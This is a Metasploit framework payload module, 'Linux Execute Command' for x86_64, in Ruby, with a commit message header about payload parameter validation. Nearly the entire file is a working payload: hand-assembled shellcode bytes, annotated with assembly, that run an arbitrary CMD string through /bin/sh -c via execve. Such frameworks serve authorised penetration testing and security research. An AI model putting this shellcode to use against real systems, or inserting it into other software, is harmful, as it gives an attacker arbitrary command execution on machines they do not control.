Brent Cook
6b1e911041
Calling .new on payload modules does not perform parameter validation, leading to a number cached sizes based on invalid parameters. Most notably, normalization does not occur either, which makes all OptBool params default to true.
53 lines
1.7 KiB
Ruby
53 lines
1.7 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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module Metasploit3
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CachedSize = 47
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include Msf::Payload::Single
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include Msf::Payload::Linux
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Linux Execute Command',
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'Description' => 'Execute an arbitrary command',
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'Author' => 'ricky',
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'License' => MSF_LICENSE,
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'Platform' => 'linux',
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'Arch' => ARCH_X86_64))
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register_options(
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[
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OptString.new('CMD', [ true, "The command string to execute" ]),
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], self.class)
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end
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def generate_stage(opts={})
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cmd = (datastore['CMD'] || '') + "\x00"
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call = "\xe8" + [cmd.length].pack('V')
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payload =
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"\x6a\x3b" + # pushq $0x3b
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"\x58" + # pop %rax
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"\x99" + # cltd
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"\x48\xbb\x2f\x62\x69\x6e\x2f" + # movabs $0x68732f6e69622f,%rbx
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"\x73\x68\x00" + #
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"\x53" + # push %rbx
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"\x48\x89\xe7" + # mov %rsp,%rdi
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"\x68\x2d\x63\x00\x00" + # pushq $0x632d
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"\x48\x89\xe6" + # mov %rsp,%rsi
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"\x52" + # push %rdx
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call + # callq 2d <run>
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cmd + # .ascii "cmd\0"
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"\x56" + # push %rsi
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"\x57" + # push %rdi
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"\x48\x89\xe6" + # mov %rsp,%rsi
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"\x0f\x05" # syscall
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end
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end
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